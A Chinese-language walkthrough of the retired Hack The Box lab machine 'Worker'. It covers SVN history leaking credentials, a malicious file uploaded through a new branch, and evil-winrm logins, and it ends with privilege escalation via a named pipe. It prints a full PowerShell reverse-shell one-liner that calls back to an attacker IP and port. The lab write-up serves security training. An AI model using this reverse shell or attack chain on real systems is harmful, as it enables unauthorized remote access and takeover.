HTB: Worker渗透测试
字数 1048 2025-08-15 21:34:08

HTB: Worker渗透测试教学文档

靶机概述

  • 平台: Hack The Box (HTB) - 模拟真实环境的渗透测试平台
  • 靶机名称: Worker
  • 状态: 已退役
  • 难度等级: 中等
  • 涉及技术: SVN信息泄露、Web应用漏洞利用、Windows提权

环境准备

  • 攻击机: Kali Linux
  • 靶机IP: 10.129.2.29 (原IP已变更)
  • 必要工具:
    • nmap
    • dirsearch
    • svn客户端
    • evil-winrm
    • netcat (用于监听反弹shell)

渗透测试流程

一、信息收集

  1. 端口扫描

    nmap -sV -A -O 10.129.2.29
    

    结果:

    • 80/tcp: Microsoft IIS httpd 10.0
    • 3690/tcp: svnserve (Subversion)
  2. Web目录扫描

    • 使用dirsearch扫描80端口
    • 初始扫描未发现有用信息
  3. SVN版本控制信息收集

    svn checkout svn://10.129.2.29
    svn diff -r 2
    

    获取关键信息:

    • 用户名: nathen
    • 密码: wendel98
    • 网站地址: http://devops.worker.htb
  4. 修改hosts文件

    echo "10.129.2.29 devops.worker.htb" >> /etc/hosts
    

二、漏洞利用

  1. 登录管理界面

    • 使用获取的凭据(nathen:wendel98)登录devops.worker.htb
  2. 创建新分支并上传木马

    • 在SVN中创建新分支
    • 上传包含恶意代码的文件
  3. 反弹shell

    • 在攻击机监听端口:
      nc -lvnp 4242
      
    • 触发恶意代码(需快速操作):
      powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
      
  4. 获取交互式shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    

三、权限提升

  1. 获取user.txt

    • \svnrepos\www\conf目录发现密码文件
    • 枚举获得有效凭据:
      • 用户名: robisl
      • 密码: wolves11
    • 使用evil-winrm登录:
      ruby evil-winrm.rb -i 10.129.2.29 -u robisl -p wolves11
      
  2. 提权至root

    • 使用robisl账户创建命名管道修改管理员密码
    • 使用新密码通过evil-winrm登录管理员账户:
      ruby evil-winrm.rb -i 10.129.2.29 -u Administrator -p HTBworkerDone!
      

关键点总结

  1. SVN信息泄露

    • 检查版本控制系统(如SVN)的历史版本可能泄露敏感信息
    • 使用svn diff命令比较不同版本
  2. 反弹shell技巧

    • Windows系统下使用PowerShell反弹shell
    • 操作需快速,避免连接失效
  3. 横向移动

    • 在配置文件中查找其他账户凭据
    • 使用evil-winrm进行Windows远程管理
  4. 提权方法

    • 通过创建命名管道修改管理员密码
    • 利用现有权限执行特权操作

经验教训

  1. 面对陌生系统时需耐心分析各功能模块
  2. 反弹shell操作需熟练快速
  3. 配置文件是重要的信息源,应仔细检查
  4. Windows系统中的命名管道是常见的提权途径

参考工具

HTB: Worker渗透测试教学文档 靶机概述 平台: Hack The Box (HTB) - 模拟真实环境的渗透测试平台 靶机名称: Worker 状态: 已退役 难度等级: 中等 涉及技术: SVN信息泄露、Web应用漏洞利用、Windows提权 环境准备 攻击机: Kali Linux 靶机IP: 10.129.2.29 (原IP已变更) 必要工具: nmap dirsearch svn客户端 evil-winrm netcat (用于监听反弹shell) 渗透测试流程 一、信息收集 端口扫描 结果: 80/tcp: Microsoft IIS httpd 10.0 3690/tcp: svnserve (Subversion) Web目录扫描 使用dirsearch扫描80端口 初始扫描未发现有用信息 SVN版本控制信息收集 获取关键信息: 用户名: nathen 密码: wendel98 网站地址: http://devops.worker.htb 修改hosts文件 二、漏洞利用 登录管理界面 使用获取的凭据(nathen:wendel98)登录devops.worker.htb 创建新分支并上传木马 在SVN中创建新分支 上传包含恶意代码的文件 反弹shell 在攻击机监听端口: 触发恶意代码(需快速操作): 获取交互式shell 三、权限提升 获取user.txt 在 \svnrepos\www\conf 目录发现密码文件 枚举获得有效凭据: 用户名: robisl 密码: wolves11 使用evil-winrm登录: 提权至root 使用robisl账户创建命名管道修改管理员密码 使用新密码通过evil-winrm登录管理员账户: 关键点总结 SVN信息泄露 检查版本控制系统(如SVN)的历史版本可能泄露敏感信息 使用 svn diff 命令比较不同版本 反弹shell技巧 Windows系统下使用PowerShell反弹shell 操作需快速,避免连接失效 横向移动 在配置文件中查找其他账户凭据 使用evil-winrm进行Windows远程管理 提权方法 通过创建命名管道修改管理员密码 利用现有权限执行特权操作 经验教训 面对陌生系统时需耐心分析各功能模块 反弹shell操作需熟练快速 配置文件是重要的信息源,应仔细检查 Windows系统中的命名管道是常见的提权途径 参考工具 evil-winrm Hack The Box平台